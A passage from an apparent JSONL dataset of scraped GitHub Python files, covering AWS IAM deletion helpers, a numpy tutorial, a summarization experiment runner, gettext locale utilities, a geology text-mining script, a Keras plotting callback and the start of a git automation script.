\"\"\"\n This function is used to delete group by giving/selecting parameters\n \"\"\"\n progressbar(\"Deleting Group\")\n groupname=group_choices['group'][0]\n try:\n iam.delete_group( GroupName=str(groupname))\n print(\"\\n \\n Group \" +groupname +\" has been deleted \\n \\n\")\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while deleting group: \\n\\n\\n\")\n print(e)\ndef deleteaccesskey(accesskey_choices):\n \"\"\"\n This function is used to delete accesskey by giving/selecting parameters\n \"\"\"\n progressbar(\"Deleting Access Key\")\n accesskeyname=accesskey_choices['accesskey'][0]\n try:\n \n iam.delete_access_key(\n AccessKeyId=str(accesskeyname)\n )\n print(\"\\n \\n Accesskey \" +accesskeyname +\" has been deleted \\n \\n\")\n except botocore.exceptions.ClientError as e:\n coloredtext(\"There was an error while deleting access key: \\n\\n\\n\")\n print(e)", "source": "darshan-raul/Python-Package-", "license": "MIT"}
+{"text": "import numpy as np #we use numpy for lots of things\r\n\r\ndef main():\r\n\ti=0 # intergers can be declared with a number\r\n\tn=10 #here is another interger\r\n\tx=119.0 #floating ppoint nums are declared with a \". \"\r\n\r\n\t# we can use numpy to declare arrays quickly\r\n\t# arrays are collection of numbers were each number is indexed by \r\n\t# another number\r\n\r\n\ty = np.zeros(n,dytpe=float) #delcares 10 zeros as floats using np\r\n\r\n\t#we can use for lopps to iterate with a variable\r\n\tfor i in range(n): # i in range[0.n-1]\r\n\t\ty[i] = 2.0 * float(i) +1. #set y=2i+1 as floats\r\n\r\n\t# we can alsoo simpy iterate throgh a variable\r\n\tfor y_element in y:\r\n\t\tprint(y_element)\r\n\r\n#execute the main function\r\nif __name__ == \"__main__\":\r\n\tmain()", "source": "Javip142/astr-119", "license": "MIT"}
+{"text": "\"Example substitution; adapted from t_sub.py/t_NomialSubs /test_Basic\"\nfrom gpkit import Variable\nx = Variable(\"x\")\np = x**2\nassert p.sub({x: 3}) == 9\nassert p.sub({x.key: 3}) == 9\nassert p.sub({\"x\": 3}) == 9\n", "source": "convexengineering/gpk", "license": "MIT"}
+{"text": "from __future__ import print_function, unicode_literals\n\nimport hashlib\nimport json\nimport logging\nimport os\nimport re\nfrom os import path\n\nimport dill as pickle\nimport dill as pickle\nimport pandas as pd\n\nfrom algorithms.flight_recorder import FlightRecorder, Record\nfrom algorithms.oracle.human_oracle import HumanOracle\nfrom algorithms.simulated_feedback import SimulatedFeedback\nfrom algorithms.upper_bound_ilp import ExtractiveUpperbound\nfrom baselines.sume_wrap import SumeWrap\nfrom model.topic import Topic\nfrom rouge.rouge import Rouge\nfrom utils.data_helpers import load_w2v_embeddings\nfrom utils.writer import write_to_file, write_details_file\nfrom utils.load_clusters import get_clusters\nimport random\nfrom performance_utils.mlogger import MeasurementLogger\nfrom performance_utils.timer import IterationTimer, RunTimer\nfrom performance_utils.mreader import MeasurementReader\nimport threading\n\ndef roundup(x):\n return int(math.ceil(x / 100.0)) * 100\n\n\ndef get_k_limit(data_set, topic):\n # dumsum = sume.ConceptBasedILPSummarizer(\" \", language, True)\n # dumsum.sentences = SumeWrap(language).load_sume_sentences(docs, parser_type, parse_info)\n # dumsum.prune_sentences(remove_citations=True, remove_redundancy=True, imp_list=[])\n # topic_sentence_size = len(dumsum.sentences)\n from log_folder import log_folder\n mreader = MeasurementReader()\n mreader.info['dataset'] = data_set\n mreader.read_corpora_stats(log_folder)\n mreader.set_topic_rid(topic)\n topic_sentence_size = mreader.get_corpus_stat(\"Corpus Size after\")\n return topic_sentence_size\n\n\ndef get_flightrecorder_from_file(weights_file=None):\n \"\"\"\n Parses a json containing the feedbacks. And verifies its layout.\n\n :param weights_file:\n :return: dict of str -> double\n \"\"\"\n flightrecorder = FlightRecorder()\n if weights_file is None:\n return flightrecorder\n elif weights_file.endswith(\".json\"):\n df = pd.read_json(path.normpath(weights_file))\n elif weights_file.endswith(\".csv\"):\n df = pd.read_csv(path.normpath(weights_file))\n\n record = Record()\n last_iteration = 0\n for row in df.iterrows():\n if row[1].iteration > last_iteration:\n flightrecorder.add_record(record)\n record = Record()\n last_iteration = row[1].iteration\n\n if row[1].value.lower() == \"accept\":\n record.accept.union_update([row[1].concept])\n elif row[1].value.lower() == \"reject\":\n record.reject.union_update([row[1].concept])\n elif row[1].value.lower() == \"implicit_reject\":\n record.implicit_reject.union_update([row[1].concept])\n\n flightrecorder.add_record(record)\n\n return flightrecorder\n\n\ndef load_ub_summary(language, docs, models, size, ngram_type=2,\n base_dir=path.normpath(path.expanduser(\"~/.ukpsummarizer/cache/\"))):\n import hashlib\n m = hashlib.sha256()\n shortened_docs = [path.split(f)[1] for (f, _) in docs]\n for doc in sorted(shortened_docs):\n m.update(doc)\n shortened_models = [path.split(f)[1] for (f, _) in models]\n for model in sorted(shortened_models):\n m.update(model)\n m.update(str(size))\n m.update(language)\n m.update(str(ngram_type))\n h = m.hexdigest()\n jsonloc = path.normpath(path.join(base_dir, h + \".json\"))\n if path.isfile(jsonloc):\n try:\n ubs = json.load(open(jsonloc))\n upsum = ubs[\"summary\"]\n return upsum\n except:\n pass\n upsum = ExtractiveUpperbound(language)\n ub_summary = upsum(docs, models, size, ngram_type)\n jdict = {\"docs\": sorted(shortened_docs), \"summary\": ub_summary, \"models\": sorted(shortened_models), \"size\": size,\n \"language\": language, \"ngram_type\": ngram_type}\n j = json.dumps(jdict)\n write_to_file(j, jsonloc)\n return ub_summary\n\n\ndef convert_to_json(sentences):\n \"\"\"\n\n :param sentences: list(baselines.sume.base.Sentence)\n :return:\n \"\"\"\n log = logging.getLogger()\n\n for s in sentences:\n t = {\n \"untokenized_form\": s.untokenized_form,\n \"concepts\": s.concepts,\n \"untokenized_concepts\": s.untokenized_concepts,\n \"doc_id\": s.doc_id,\n \"sent_id\": s.position,\n \"length\": s.length,\n \"tokens\": s.tokens,\n \"phrases\": s.phrases,\n \"untokenized_phrases\": s.raw_phrases\n }\n yield t\n\nclass SingleTopicRunner(object):\n tlog = logging.getLogger(\"timings\")\n\n def __init__(self, iobasedir, rouge_dir, out=None, scores_dir=None, override_results_files=False,\n pickle_store=None, k=0.1):\n self.iobasedir = path.normpath(path.expanduser(iobasedir))\n # resolved_rouge_dir = path.normpath(path.expanduser(rouge_dir))\n self.rouge = Rouge(rouge_dir)\n self.k = k\n if out is None:\n self.out = None\n else:\n self.out = path.normpath(path.expanduser(out))\n if scores_dir is None:\n self.scores_storage_path = path.normpath(path.join(self.iobasedir, \"scores_new\"))\n else:\n self.scores_storage_path = path.normpath(path.join(self.iobasedir, scores_dir))\n\n if not path.exists(self.scores_storage_path):\n os.mkdir(self.scores_storage_path)\n\n self.override_results_switch = override_results_files\n\n if pickle_store is None:\n self.pickle_store = pickle_store\n else:\n p, f = path.split(path.join(self.iobasedir, pickle_store))\n if path.exists(p):\n self.pickle_store = path.join(self.iobasedir, pickle_store)\n else:\n p, f = path.split(pickle_store)\n if (path.exists(p)):\n self.pickle_store = pickle_store\n else:\n raise BaseException(\n \"Cannot resolve %s to a existing path for storing the serialized summarizer\" % (pickle_store))\n\n def single_iteration(self, picklein, pickleout=None, feedbacks=None):\n log = logging.getLogger(\"SingleTopicRunner\")\n log.info(\"unpickling input %s\" % (picklein))\n\n sf = pickle.load(open(picklein, 'rb'))\n log.info(\"done unpick input\")\n iteration = len(sf.flight_recorder.records) + 1\n labeled_data = feedbacks or []\n\n svm_flag = 0\n sf.oracle = HumanOracle(labeled_data)\n if 'k_size' in labeled_data:\n self.k = labelled_data['k_size']\n if sf.k != self.k:\n log.info(\"recording k_size in continue %f\", sf.k)\n log.info(\"recording sentence size in continue %d\", len(sf.summarizer.sentences))\n sf.k = self.k\n if sf.run_config['rank_subset']:\n sf.summarizer.sentences = sf.summarizer.all_sentences\n sf.summarizer.weights = sf.sentence_ranker.all_concept_weights\n sf.initialize_sentence_ranking()\n\n log.info(\"recording k_size in continue %f\", sf.k)\n log.info(\"recording sentence size in continue %d\", len(sf.summarizer.sentences))\n log.info(\"records before: %s\", len(sf.flight_recorder.records))\n\n log.info(\"running iteration\")\n\n samples = [i[\"concept\"] for i in labeled_data]\n score, summary, summary_sentences, unlabeled_data, exploratory_sentences = sf.single_iteration(iteration,\n samples,\n svm_flag)\n\n sf.__print_iteration_info__(summary_sentences, iteration, summary, score,\n unlabeled_data, exploratory_sentences)\n log.info(\"records after run: %s\", len(sf.flight_recorder.records))\n\n self.write_continue_output_result(sf,\n unlabeled_data,\n picklein,\n pickleout,\n summary,\n summary_sentences,\n exploratory_sentences)\n\n if pickleout is not None:\n self.pickle_write(sf, pickleout, log)\n\n def pickle_write(self, sf, pickleout, log):\n output = open(pickleout, 'wb')\n pickle.dump(sf, output)\n output.close()\n log.info(\"### wrote pickle output to %s\" % (pickleout))\n\n def run(self, topic_path, size=None, summarizer=\"SUME\", summary_idx=None, parser=None,\n oracle=\"accept\", feedback_log=None, propagation=False, max_iteration_count=10, preload_embeddings=None,\n feedbackstore=None, override_results_files=False, num_clusters=8):\n log = logging.getLogger(\"SingleTopicRunner\")\n\n sf = None # just for the sake of being able to run without simulated feedback...\n self.tlog.debug(\"SingleTopicRunner started\")\n # relativize the topic path!\n if type(topic_path) is Topic:\n topic = topic_path\n else:\n if topic_path.startswith(\"/\"):\n relative_path = re.search('^(/)(.*)$', topic_path).group(2)\n else:\n relative_path = topic_path\n\n topic = Topic(path.join(self.iobasedir, path.normpath(relative_path)))\n language = topic.get_language()\n docs = topic.get_docs()\n summaries = topic.get_models()\n\n flightrecorder = get_flightrecorder_from_file(feedback_log)\n preceding_size = len(\n flightrecorder.records) # the number of iterations that happened due to the provided feedback_log\n\n\n embeddings = None\n \"\"\"\n if preload_embeddings:\n embeddings_path = path.normpath(path.join(self.iobasedir, \"embeddings\"))\n embeddings = load_w2v_embeddings(embeddings_path, language, 'active_learning')\n else:\n embeddings = preload_embeddings\n \"\"\"\n\n if summary_idx is not None:\n summaries = [summaries[summary_idx]]\n\n if size is None:\n use_size = topic.get_summary_size()\n else:\n use_size = size\n\n clusters_path = path.join(self.iobasedir, 'clustering', '{}'.format(num_clusters))\n #print(clusters_path)\n #clusters = get_clusters(clusters_path, topic.docs_dir)\n\n if summarizer == \"SUME\":\n sw = SumeWrap(language)\n summary = sw(docs, use_size)\n outputfilecontents = {\"summary\": summary, \"type\": summarizer, \"info_data\": []}\n\n json_content = json.dumps(outputfilecontents)\n if self.out is not None:\n log.info(\"writing output to %s\" % (self.out))\n write_to_file(json_content, self.out)\n write_to_file(json_content,\n path.normpath(path.expanduser(path.join(self.iobasedir, \"tmp\", \"tmp.json\"))))\n elif summarizer == \"UPPER_BOUND\":\n ub_summary = load_ub_summary(language, docs, summaries, use_size, base_dir=self.iobasedir)\n summary = '\\n'.join(ub_summary)\n\n outputfilecontents = {\"summary\": summary, \"type\": summarizer, \"info_data\": []}\n\n json_content = json.dumps(outputfilecontents)\n if self.out is not None:\n log.info(\"writing output to %s\" % (self.out))\n write_to_file(json_content, self.out)\n write_to_file(json_content, path.normpath(path.expanduser(path.join(self.iobasedir, \"tmp\", \"tmp.json\"))))\n elif summarizer == \"PROPAGATION\":\n #UB considering all the summaries\n ub_summary = load_ub_summary(language, docs, summaries, use_size, base_dir=self.iobasedir)\n summary = '\\n'.join(ub_summary)\n ub_scores = self.rouge(summary, summaries, use_size)\n\n log.debug(\"UB scores: R1:%s R2:%s SU4:%s\" % (str(ub_scores[0]), str(ub_scores[1]), str(ub_scores[2])))\n\n ref_summ = random.choice(summaries)\n\n parse_info = []\n #parse_info = topic.get_parse_info(summaries.index(ref_summ))\n\n # initialize the Algorithm.\n run_config = dict()\n run_config['rank_subset'] = True\n run_config['relative_k'] = True\n run_config['dynamic_k'] = False\n for flag in ['adaptive_sampling', 'strategy']:\n run_config[flag] = False\n\n r = 0\n clusters = None\n log.info(\"recording k_size in summarize %f\", self.k)\n #TODO: Added summaries instead of one single summary\n sf = SimulatedFeedback(language, self.rouge, embeddings=None, #TODO: embeddings\n docs=docs, models=summaries,\n summary_length=use_size,\n oracle_type=oracle,\n ub_score=ub_scores, ub_summary=ub_summary,\n parser_type=parser, flightrecorder=flightrecorder,\n feedbackstore=feedbackstore, parse_info=parse_info,\n run_config=run_config, k=self.k, adaptive_window_size=r, clusters=clusters)\n\n if sf.embeddings is None or sf.embeddings == {}:\n embe_var = \"none\",\n else:\n if sf.embeddings.embedding_variant is None:\n embe_var = \"none\"\n else:\n embe_var = sf.embeddings.embedding_variant\n if feedbackstore is None:\n cfg = {\"type\": \"Unconfigured default\"}\n else:\n cfg = feedbackstore.get_config()\n\n rs = []\n for p, t in [ref_summ]:\n rs.append({\n \"name\": os.path.split(p)[1],\n \"text\": t})\n\n run_id_string = \"%s-%s-%s-%s-%s-%s-%s-%s\" % (\n oracle, summarizer, parser, embe_var, topic.get_dataset(), topic.get_name(),\n [item[\"name\"] for item in rs], json.dumps(cfg))\n\n run_id = hashlib.sha224(run_id_string).hexdigest()\n filename = path.join(self.scores_storage_path, \"result-%s.json\" % (run_id))\n\n if (os.path.exists(filename)\n and self.out is None\n and self.override_results_switch is False):\n log.info(\"Skipping run_id '%s' because the result file does already exist. config: %s\" % (\n run_id, run_id_string))\n return\n else:\n log.info(\"Doing %s iterations for run_id '%s'\\n %s\" % (max_iteration_count, run_id, run_id_string))\n write_to_file(\"\", filename)\n\n summary, confirmatory_summary, exploratory_summary = sf.run_full_simulation(\n max_iteration_count=max_iteration_count)\n\n recommendations, recom_sentences = sf.get_recommendations()\n\n derived_records = []\n # construct table-like array of feedbacks per iteration.\n for i, record in enumerate(sf.flight_recorder.records):\n for accept in record.accept:\n derived_records.append({\n \"iteration\": i,\n \"concept\": accept,\n \"value\": \"accept\"\n })\n for reject in record.reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": reject,\n \"value\": \"reject\"\n })\n for implicit_reject in record.implicit_reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": implicit_reject,\n \"value\": \"implicit_reject\"\n })\n\n for item in recommendations:\n derived_records.append({\n \"iteration\": -1,\n \"concept\": item,\n \"value\": \"recommendation\",\n \"weight\": sf.summarizer.weights.get(item, 0.0),\n \"uncertainity\": sf.svm_uncertainity.get(item, -1.0)\n })\n\n result = {\n \"config_run_id\": run_id,\n \"config_oracle_type\": oracle,\n \"config_summarizer_type\": summarizer,\n \"config_parse_type\": str(parser),\n #\"config_wordembeddings\": emb_var,\n \"config_feedbackstore\": sf.feedbackstore.get_config(),\n \"config_feedback_interpretation\": {},\n \"config_concept_recommendation\": {},\n \"dataset\": topic.get_dataset(),\n \"topic\": topic.get_name(),\n \"models\": rs,\n \"model_rougescores\": {\n \"iteration\": -1,\n \"ROUGE-1 R score\": ub_scores[0],\n \"ROUGE-2 R score\": ub_scores[1],\n \"ROUGE-SU* R score\": ub_scores[2],\n \"accepted\": [],\n \"accept_count\": 0,\n \"rejected\": [],\n \"reject_count\": 0,\n \"summary\": ub_summary\n },\n \"result_summary\": summary,\n \"result_rougescores\": sf.log_sir_info_data,\n \"log_feedbacks\": derived_records\n }\n\n r2 = [{\"iteration\": i, \"summary\": sf.log_info_data[i]} for i in\n range(len(sf.flight_recorder.records))]\n log.debug(\n \"records: %s, infos %s, diff: %s\" % (len(sf.flight_recorder.records), len(sf.log_info_data),\n len(sf.flight_recorder.records) - len(sf.log_info_data)))\n\n write_to_file(json.dumps(result), filename)\n log.info(\"Writing results to %s\" % (filename))\n\n df = pd.DataFrame(derived_records)\n filename = path.join(self.scores_storage_path, \"flightrecorder-%s.csv\" % (run_id))\n log.info(\"saving flightrecorder to %s with run_id %s\" % (filename, run_id))\n df.to_csv(filename, encoding=\"UTF-8\")\n\n write_to_file(json.dumps(sf.new_debug_weights_history),\n path.join(self.scores_storage_path, \"weightshistory-%s-%s-%s-%s.json\" % (\n topic.get_dataset(), topic.get_name(), summarizer, run_id)))\n log.info(\"Writing weights history to %s\" % (filename))\n weights_hist = pd.DataFrame(sf.new_debug_weights_history)\n\n filename = path.join(self.scores_storage_path, \"weightshistory-%s.csv\" % (run_id))\n weights_hist.to_csv(filename, encoding=\"UTF-8\")\n\n log.debug(\"----------------------------------------------\")\n log.debug(summary)\n log.debug(sf.log_info_data[-1])\n log.debug(\"----------------------------------------------\")\n if self.pickle_store is not None:\n # Pickle dictionary using protocol 0.\n print('Pickle in file %s' % self.pickle_store)\n self.pickle_write(sf, self.pickle_store, log)\n\n json_content = self.write_summarize_output_json(sf, confirmatory_summary, derived_records, log,\n recom_sentences, result, run_id, summarizer,\n summary, self.pickle_store)\n # write_to_file(json_content, path.normpath(path.expanduser(path.join(self.iobasedir, \"tmp\", \"tmp.json\"))))\n else:\n raise BaseException(\"You should tell which summarizer to use\")\n\n if sf is not None:\n write_details_file([sf.log_info_data], path.join(self.iobasedir, \"tmp\", \"tmp.csv\"))\n self.tlog.debug(\"SingleTopicRunner finished\")\n\n def write_continue_output_result(self,\n sf,\n unlabeled_data=None,\n picklein=None,\n pickleout=None,\n summary=None,\n summary_sentences=None,\n exploratory_sentences=None):\n log = logging.getLogger(\"SingleTopicRunner\")\n if self.out is not None:\n\n derived_records = []\n # construct table-like array of feedbacks per iteration.\n for i, record in enumerate(sf.flight_recorder.records):\n for accept in record.accept:\n derived_records.append({\n \"iteration\": i,\n \"concept\": accept,\n \"value\": \"accept\"\n })\n for reject in record.reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": reject,\n \"value\": \"reject\"\n })\n for implicit_reject in record.implicit_reject:\n derived_records.append({\n \"iteration\": i,\n \"concept\": implicit_reject,\n \"value\": \"implicit_reject\"\n })\n\n for item in unlabeled_data:\n if item not in [i.get(\"concept\", \"\") for i in derived_records]:\n derived_records.append({\n \"iteration\": -1,\n \"concept\": item,\n \"value\": \"recommendation\",\n \"weight\": sf.summarizer.weights.get(item, 0.0),\n \"uncertainity\": sf.svm_uncertainity.get(item, -1.0)\n })\n else:\n log.info(\"recommendation included a already labeled instance, '%s'\" % (item))\n\n outputfilecontents = {\n \"picklein\": picklein,\n \"pickleout\": pickleout,\n \"summary\": summary,\n \"confirmatory_summary\": list(summary_sentences),\n \"exploratory_summary\": list(exploratory_sentences),\n \"weights\": sf.summarizer.weights,\n \"fbs_weights\": dict(sf.feedbackstore.get_weights()),\n \"sentence_ids\": list(summary_sentences),\n \"details\": derived_records,\n \"score\": sf.log_sir_info_data\n }\n\n write_to_file(json.dumps(outputfilecontents), self.out)\n log.info(\"writing output to %s\" % (self.out))\n log.info(\"done writing output\")\n\n def write_summarize_output_json(self, sf, confirmatory_summary, derived_records, log, recom_sentences,\n result, run_id, summarizer, summary, pickle_store=None):\n # convert the sentences into a jsonizable structure:\n sents = convert_to_json(sf.summarizer.sentences)\n outputfilecontents = {\n \"picklein\": None,\n \"pickleout\": pickle_store,\n \"summary\": summary,\n \"confirmatory_summary\": list(confirmatory_summary),\n \"exploratory_summary\": list(recom_sentences),\n \"type\": summarizer,\n \"run_id\": run_id,\n \"weights\": sf.summarizer.weights,\n \"fbs_weights\": dict(sf.feedbackstore.get_weights()),\n \"details\": derived_records,\n \"sentences\": list(sents),\n \"full\": result,\n \"score\": sf.log_sir_info_data\n }\n json_content = json.dumps(outputfilecontents)\n if self.out is not None:\n log.info(\"writing output to %s\" % (self.out))\n write_to_file(json_content, self.out)\n return json_content\n", "source": "UKPLab/vldb2018-sherlock", "license": "Apache-2.0"}
+{"text": "\"\"\"\nProvides a series of function on top of gettext to retrieve a particular\ntranslations (used by both the core apps and the plugins).\n\"\"\"\nimport logging\nimport re\nimport gettext\nimport os\nimport sys\n\nfrom PyQt5 import QtCore\n\nfrom pyqode.core.api.utils import memoized\n\n\n@memoized\ndef get_available_locales():\n \"\"\"\n Gets the list of available locales (the one for which a get_translation is\n available)\n \"\"\"\n ret_val = set()\n ret_val.add('default')\n locale_dir = os.path.join(sys.prefix, 'share', 'locale')\n try:\n locales = os.listdir(locale_dir)\n except OSError as e: # pragma: no cover\n _logger().warn('failed to list translations files of directory %r: %s',\n locale_dir, e)\n else:\n for d in locales:\n mo_path = os.path.join(locale_dir, d, 'LC_MESSAGES', 'hackedit.mo')\n if os.path.exists(mo_path):\n ret_val.add(d)\n return ret_val\n\n\ndef get_locale():\n \"\"\"\n Gets the current locale defined in the application settings\n \"\"\"\n default = 'default'\n return QtCore.QSettings().value('env/locale', default)\n\n\ndef set_locale(locale):\n \"\"\"\n Sets the application locale\n \"\"\"\n QtCore.QSettings().setValue('env/locale', locale)\n\n\ndef get_translation(package='hackedit'):\n \"\"\"\n Gets the get_translation function for the language selected by the user.\n\n Use this function at the top of each of your plugin modules::\n\n from hackedit.api.gettext import get_translation\n _ = get_translation(package='hackedit-python')\n _('translatable string')\n\n :param package: Name of the package to get the get_translation for...\n\n :returns: None if package == 'hackedit' otherwise return the\n get_translation function usable directly in your module.\n \"\"\"\n locale_dir = os.path.join(sys.prefix, 'share', 'locale')\n if not os.path.exists(locale_dir): # pragma: no cover\n locale_dir = os.path.join(\n sys.prefix, 'local', 'share', 'locale')\n try:\n t = gettext.translation(package, localedir=locale_dir,\n languages=[get_locale()])\n if package == 'hackedit':\n # we can install globally\n t.install()\n return t.gettext\n else:\n return t.gettext\n except OSError:\n t = gettext.NullTranslations()\n if package == 'hackedit':\n # we can install globally\n t.install()\n return t.gettext\n\n\ndef hackedit_gettext_hook(ui_script_path): # pragma: no cover\n \"\"\"\n pyqt-distutils hook that will replace Qt translate tools by calls to\n ``hackedit.api.gettext.translation``.\n \"\"\"\n from pyqt_distutils.config import Config\n\n with open(ui_script_path, 'r') as fin:\n content = fin.read()\n\n # replace ``_translate(\"context\", `` by ``_(``\n content = re.sub(r'_translate\\(\".*\",\\s', '_(', content)\n\n # inject the _ function\n cfg = Config()\n cfg.load()\n package_name = cfg.package_name\n content = content.replace(\n ' _translate = QtCore.QCoreApplication.translate',\n ' from hackedit.api.gettext import get_translation\\n'\n ' _ = get_translation(package=\"%s\")' % package_name)\n\n with open(ui_script_path, 'w') as fout:\n fout.write(content)\n\n\ndef _logger():\n return logging.getLogger(__name__)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import division\n\nimport yaml\nimport json\nimport urllib2\nimport csv\nimport re\n\nwith open('./config', 'r') as config_yaml:\n config = yaml.load(config_yaml)\n\ndef update_output(docid, sentid, minerals, ages, locations, lemma):\n output.append({\n \"docid\": docid,\n \"sentid\": sentid,\n \"minerals\": minerals,\n \"ages\": ages,\n \"locations\": locations,\n \"lemma\": lemma\n })\n\n\ndef filter_output(item):\n if item['docid'] in acknowledgements.keys() and item['sentid'] < acknowledgements[item['docid']]:\n return True\n elif item['docid'] in refs.keys() and item['sentid'] < refs[item['docid']]:\n return True\n else:\n return False\n\n# Format output before writing to CSV\ndef formatted(item):\n return {\n 'docid': item['docid'],\n 'sentid': item['sentid'],\n 'minerals': ';'.join(item['minerals']),\n 'ages': ';'.join(item['ages']),\n 'locations': ';'.join(item['locations']),\n 'lemma': item['lemma']\n }\n\ndef formatRef(ref, total):\n return {\n 'docid': ref['id'].encode('utf-8'),\n 'title': ref['title'].encode('utf-8') if ref['title'] is not None else \"\",\n 'volume': ref['volume'].encode('utf-8'),\n 'journal': ref['journal'].encode('utf-8'),\n 'link': ';'.join([l['url'] for l in ref['link'] if l['type'] != 'filepath']).encode('utf-8'),\n 'publisher': ref['publisher'].encode('utf-8'),\n 'author': ';'.join([a['name'] for a in ref['author']]).encode('utf-8'),\n 'pages': ref['pages'].encode('utf-8'),\n 'number': ref['number'].encode('utf-8'),\n 'identifier': ';'.join(i['id'] for i in ref['identifier']).encode('utf-8') if 'identifier' in ref else '',\n 'impact': total / len(output)\n }\n\n# Set up lists of terms we are interested in\nminerallist = config['terms']\nagelist = ['ma', 'age', 'dating', 'ka', 'ga', 'kyr', 'myr', 'year', 'geochronology', 'm.a.', 'k.a.', 'date']\n\n# list of articles having age formation\narticleID = []\n\n# Titles of articles\ntitles = {}\n\n# dictionary of age-containing article length before reference\n# Keys are docids and values are sentids\n## note refs has fewer items than articleID since articleID counts paper that has age information in reference part\nrefs = {}\nacknowledgements = {}\n\noutput = []\n\n# Open the input file\n'''\n0 - docid\n1 - sentid\n2 - wordidx\n3 - words\n4 - poses\n5 - ners\n6 - lemmas\n7 - dep_paths\n'''\nwith open('./input/co_nlp352.txt') as textlines:\n # Look for lines containing Cr mineral names, location, or age information\n for line in textlines.readlines():\n # Clean up the input\n sline = line.lower().split('\\t')\n tL = re.sub('[{}\"]', '', sline[6])\n tLL = re.sub(r',,,', ',;,', tL)\n # create an array of lemmas\n lemmas = tLL.split(',') #get rid of {}\",,, in the raw texts\n\n # If there is an age term in the lemmas and we haven't accounted for this article yet, record it\n if len(list(set(agelist).intersection(set(lemmas)))) > 0 and sline[0] not in articleID:\n articleID.append(sline[0])\n\n # If there is a mention of references in the lemmas and we have seen this docid, update refs with the docid and sentid\n if ('reference' in lemmas or 'referenc' in lemmas or 'references' in lemmas) and sline[0] in articleID:\n refs.update({ sline[0]: int(sline[1]) })\n\n # If there is a mention of acknowledgements in the lemmas and we have seen this docid, update acknowledgements with the docid and sentid\n if ('acknowledgement' in lemmas or\n 'acknowledgements' in lemmas or\n 'acknowledge' in lemmas or\n 'thank' in lemmas or\n 'thanks' in lemmas) and sline[0] in articleID:\n acknowledgements.update({ sline[0]: int(sline[1]) })\n\n\n # record the title of all articles if this is the first sentence in an article\n if sline[1] == '1':\n titles.update({ sline[0]: tLL })\n\n # Clean up the ners\n ners = re.sub('[{}\"]', '', sline[5]).split(',')\n\n # Get an array that is the interesction of minerals and lemmas\n minerals_found = list(set(minerallist).intersection(set(lemmas)))\n\n # Store ages found\n ages_found = []\n\n # Store location words found\n locations_found = []\n\n # Record all words tagged as 'LOCATION' in ners\n if 'location' in ners:\n for pos in [i for i,j in enumerate(ners) if j == 'location']:\n locations_found.append(lemmas[pos])\n\n # Find and record dates using the 'NUMBER' tag in ners\n if 'number' in ners:\n for pos in [i for i,j in enumerate(ners) if j == 'number']:\n if pos < len(lemmas) - 1 and lemmas[pos + 1] in agelist:\n if pos > 0 and lemmas[pos - 1] == '\u00b1':\n ages_found.append(lemmas[pos - 2] + lemmas[pos - 1] + lemmas[pos] + lemmas[pos + 1])\n else:\n ages_found.append(lemmas[pos] + lemmas[pos + 1])\n\n # If we found anything, record it\n if len(minerals_found) > 0 or len(ages_found) > 0 or len(locations_found) > 0:\n update_output(sline[0], int(sline[1]), minerals_found, ages_found, locations_found, ' '.join(lemmas))\n\n\n\n# Filter the output in place\noutput[:] = [formatted(item) for item in output if filter_output(item)]\n\n# Write the output to disk\nwith open('./output/results.csv', 'w') as out:\n writer = csv.DictWriter(out, fieldnames=['docid', 'sentid', 'minerals','ages', 'locations', 'lemma'])\n writer.writeheader()\n writer.writerows(output)\n\n# Find unique documents\nuniqueDocs = dict(set([(item['docid'], 0) for item in output]))\nfor item in output:\n uniqueDocs[item['docid']] += 1\n\noutputRefs = []\n\n# Find the metadata for each\nfor docid in uniqueDocs.keys():\n response = json.load(urllib2.urlopen('https://geodeepdive.org/api/v1/articles?id=' + docid))\n outputRefs.append(response['success']['data'][0])\n\noutputRefs = [formatRef(ref, uniqueDocs[ref['id']]) for ref in outputRefs]\n\n\nwith open('./output/unique_docs.csv', 'w') as out2:\n writer = csv.DictWriter(out2, fieldnames=['docid', 'title', 'author', 'journal', 'publisher', 'identifier', 'pages', 'number', 'volume', 'link', 'impact'])\n writer.writeheader()\n writer.writerows(outputRefs)\n", "source": "ukliu/CrMineral", "license": "CC-BY-4.0"}
+{"text": "\"\"\"Custom callbacks used during training.\"\"\"\n\nfrom tensorflow.keras.callbacks import Callback\nimport matplotlib.pyplot as plt\n\n\nclass PlotLosses(Callback):\n \"\"\"Simple callback for plotting losses to a file.\"\"\"\n\n def __init__(self, output_folder, model_name):\n self.output_folder = output_folder\n self.model_name = model_name\n\n def on_train_begin(self, logs={}):\n self.i = 0\n self.x = []\n self.losses = []\n self.val_losses = []\n self.logs = []\n\n def on_epoch_end(self, epoch, logs={}):\n self.logs.append(logs)\n self.x.append(self.i)\n self.losses.append(logs.get(\"loss\"))\n self.val_losses.append(logs.get(\"val_loss\"))\n self.i += 1\n\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.plot(self.x, self.losses, label=\"loss\")\n ax.plot(self.x, self.val_losses, label=\"val_loss\")\n ax.legend()\n fig.savefig(str(self.output_folder / f\"{self.model_name}_loss.png\"))\n plt.close(fig)\n", "source": "sorenlind/transferit", "license": "MIT"}
+{"text": "import sys \nimport argparse\nimport subprocess\nimport os\nfrom datetime import datetime\nimport random\nusername=\"sanchayana2007\"\ntoken= os.environ.get(\"GIT_TOKEN\")\n\n\n#Random int to create the value \nj= random.randint(0,1)\n################ RAndom file creator for chein in ##################\nif j:\n if os.path.isfile(\"./tete\"):\n output = subprocess.check_output(\"rm tete\",shell = True, stderr=subprocess.STDOUT)\n else:\n output = subprocess.check_output(\"touch tete\",shell = True, stderr=subprocess.STDOUT)\nelse:\n if os.path.isfile(\"./tete\"):\n output = subprocess.check_output(\"rm tete\",shell = True, stderr=subprocess.STDOUT)\n################ RAndom file creator for chein in ##################\n\n\ncomment = \"checking changes for \" + os.environ.get(\"USERNAME\") + \" \"+ datetime.now().strftime(\"%b %d, %Y\") \nprint(comment)\n\n\nif os.path.isdir(\"./.git\"):\n\n print(\"The Folder is Already Intilaised with Git no need to init it \")\n\n \n CMD = \" git status \"\n print(\"################### GIT STATUS ######################\") \n print(\"# In ./git/objects compare the staged files the cache#\") \n print(\"################### #################################\") \n \n try: \n output = subprocess.check_output(CMD,shell = True, stderr=subprocess.STDOUT)\n except subprocess.SubprocessError as 